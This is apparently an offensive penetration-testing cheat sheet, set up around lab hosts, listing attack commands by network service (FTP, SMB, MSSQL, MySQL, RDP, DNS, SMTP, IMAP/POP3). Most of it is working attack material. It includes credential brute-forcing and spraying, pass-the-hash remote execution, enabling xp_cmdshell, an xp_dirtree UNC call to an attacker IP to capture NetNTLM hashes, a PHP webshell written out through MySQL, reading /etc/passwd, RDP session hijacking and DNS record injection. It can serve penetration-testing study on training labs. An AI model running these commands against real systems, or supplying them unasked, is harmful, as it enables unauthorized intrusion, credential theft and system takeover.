Every command for every service in one page. Prefix each with careful port-scan triage (don’t attack what you haven’t enumerated).
Methodology Checklist
- Port scan — full TCP + top UDP.
nmap -p- -sV -sC then nmap -sU --top-ports 100.
- Banner + version — service, exact version, OS hint, plugin fingerprint.
- Default + anonymous auth —
anonymous:anonymous, sa: (empty), root: (empty), guest:guest.
- Enumerate without creds — null SMB session, FTP listing, DNS zone transfer, SMTP
VRFY/EXPN, MSSQL fingerprint.
- Spray with found creds — every creds set across every service.
- Pick the quickest shell — SMB PsExec > WinRM > WMI > MSSQL xp_cmdshell > RDP > FTP upload + HTTP.
- Loot — files, users, hashes, config.
Port → Service Quick Map
| Port | Protocol | Common service |
|---|
| 21 | TCP | FTP |
| 22 | TCP | SSH |
| 23 | TCP | Telnet |
| 25, 465, 587 | TCP | SMTP / SMTPS / submission |
| 53 | TCP/UDP | DNS |
| 110, 995 | TCP | POP3 / POP3S |
| 111 | TCP/UDP | RPCbind (NFS) |
| 135 | TCP | MSRPC |
| 139, 445 | TCP | NetBIOS / SMB |
| 143, 993 | TCP | IMAP / IMAPS |
| 161, 162 | UDP | SNMP |
| 389, 636 | TCP | LDAP / LDAPS |
| 1433, 1434 | TCP/UDP | MSSQL |
| 3306 | TCP | MySQL |
| 3389 | TCP | RDP |
| 5432 | TCP | PostgreSQL |
| 5985, 5986 | TCP | WinRM HTTP/S |
FTP (21)
nmap -p21 -sV -sC --script=ftp-anon,ftp-syst,ftp-vsftpd-backdoor <IP>
ftp <IP> # anonymous:anonymous
curl -s ftp://<IP>/ --user anonymous:
wget -m --no-passive ftp://anonymous:anonymous@<IP>
# Brute force
hydra -L users.txt -P rockyou.txt ftp://<IP>
netexec ftp <IP> -u users.txt -p pass.txt
# Bounce (via PORT command)
nmap -b anonymous:@<ftp-ip> <target>
SMB (139 / 445)
# Enumeration
nmap -p445 --script=smb-os-discovery,smb-enum-shares,smb-enum-users,smb-vuln-* <IP>
enum4linux-ng -A <IP>
rpcclient -U '' -N <IP>
smbclient -L //<IP>/ -N
smbmap -H <IP> -u '' -p ''
# Null / Guest
netexec smb <IP> -u '' -p ''
netexec smb <IP> -u guest -p ''
# Spider shares
netexec smb <IP> -u bob -p 'Pass!' -M spider_plus
# Admin RCE (Pwn3d!)
impacket-psexec admin@<IP> -hashes :<NThash>
impacket-wmiexec admin@<IP> -hashes :<NThash>
evil-winrm -i <IP> -u Administrator -H <NThash>
netexec smb <IP> -u Admin -p 'Pass!' -x whoami
# SMB signing check (determines if NTLM relay works)
netexec smb <subnet> --gen-relay-list targets.txt
nmap --script=smb2-security-mode -p445 <IP>
MSSQL (1433)
nmap -p1433 -sV -sC --script=ms-sql-info,ms-sql-empty-password,ms-sql-brute <IP>
netexec mssql <IP> -u sa -p ''
netexec mssql <IP> -u sa -p rockyou.txt
# Shell with sqsh / impacket-mssqlclient
impacket-mssqlclient sa@<IP> -windows-auth
# xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
# NetExec one-shot
netexec mssql <IP> -u sa -p '' -x 'whoami' --local-auth
# Capture hash via UNC path (relay or crack NetNTLMv2)
EXEC master..xp_dirtree '\\10.10.14.5\share\';
# Linked servers chain
EXEC ('sp_linkedservers') AT SQL02;
EXEC ('xp_cmdshell ''whoami''') AT SQL02;
MySQL (3306)
nmap -p3306 -sV -sC --script=mysql-info,mysql-empty-password,mysql-brute <IP>
mysql -h <IP> -u root -p
netexec mysql <IP> -u root -p rockyou.txt
# Read local files
SELECT LOAD_FILE('/etc/passwd');
# Write webshell (needs FILE priv + writable web root)
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/sh.php';
# UDF code exec (via raptor_udf2.so / lib_mysqludf_sys)
RDP (3389)
nmap -p3389 -sV --script=rdp-ntlm-info,rdp-enum-encryption <IP>
nxc rdp <IP> -u users.txt -p passwords.txt --continue-on-success
# Shell
xfreerdp /v:<IP> /u:Administrator /p:'Pass!' /dynamic-resolution /drive:share,/tmp
xfreerdp /v:<IP> /u:julio /pth:<NThash> # requires Restricted Admin
# Session hijack (as SYSTEM, same host)
query user
tscon <session-id> /dest:<my-session>
DNS (53)
# Version + chaos record
dig @<IP> version.bind chaos txt
# Zone transfer
dig axfr @<IP> inlanefreight.com
dnsenum --enum --dnsserver <IP> inlanefreight.com
# Subdomain brute
dnsenum --threads 50 -f /usr/share/wordlists/dns.txt inlanefreight.com
dnsrecon -d inlanefreight.com -D names.txt -t brt
# Reverse (PTR) sweep
dnsrecon -r 10.10.10.0/24
# Dynamic update abuse (RFC 2136)
nsupdate <<EOF
server <IP>
zone inlanefreight.com
update add attacker.inlanefreight.com 60 A 10.10.14.5
send
EOF
SMTP (25 / 465 / 587)
# Enumerate
nmap -p25 -sV -sC --script=smtp-commands,smtp-enum-users,smtp-open-relay <IP>
# User enumeration via VRFY / EXPN / RCPT
smtp-user-enum -M VRFY -U users.txt -t <IP>
smtp-user-enum -M EXPN -U users.txt -t <IP>
smtp-user-enum -M RCPT -U users.txt -t <IP>
# Manual VRFY
nc <IP> 25
VRFY root
VRFY admin
# Brute force SMTP AUTH
hydra -L users.txt -P rockyou.txt smtp://<IP> -S -s 465
# Open relay test
swaks --to victim@target.com --from attacker@attacker.com --server <IP>
IMAP / POP3 (143 / 110 / 993 / 995)
nmap -p110,143 -sV -sC --script=imap-capabilities,pop3-capabilities <IP>
hydra -L users.txt -P rockyou.txt imap://<IP>
hydra -L users.txt -P rockyou.txt pop3://<IP>
# Manual
openssl s_client -connect <IP>:993 # IMAPS
A1 LOGIN user pass
A2 LIST "" "*"
A3 SELECT INBOX
A4 FETCH 1 BODY[]
Pivot Suggestions
| Found | Next |
|---|
| Anonymous FTP with write | Drop webshell if colocated with HTTP server |
| SMB null session | enum4linux → user list → spray |
sa: empty on MSSQL | xp_cmdshell → SYSTEM shell |
| DNS zone transfer | Full internal hostname map — recursively nmap each |
| SMTP user enum succeeds | Validated userlist → OWA / SSH spray |
| RDP creds | tscon highjack other logged-on sessions |
| MSSQL + UNC capture | NetNTLMv2 → relay or crack |
Common Pitfalls
- NetExec
--local-auth for local accounts; drop it for domain creds.
- MSSQL
xp_cmdshell runs as the SQL service account — often not Admin. Check whoami /priv.
- RDP PtH requires Restricted Admin Mode enabled on the target.
- SMB signing enforced ≠ no attack — spraying/brute force still works, only NTLM relay is blocked.
- Firewalls often allow 445 outbound but block inbound RDP — reverse tunnels are the answer (see Pivoting, Tunneling & Port Forwarding).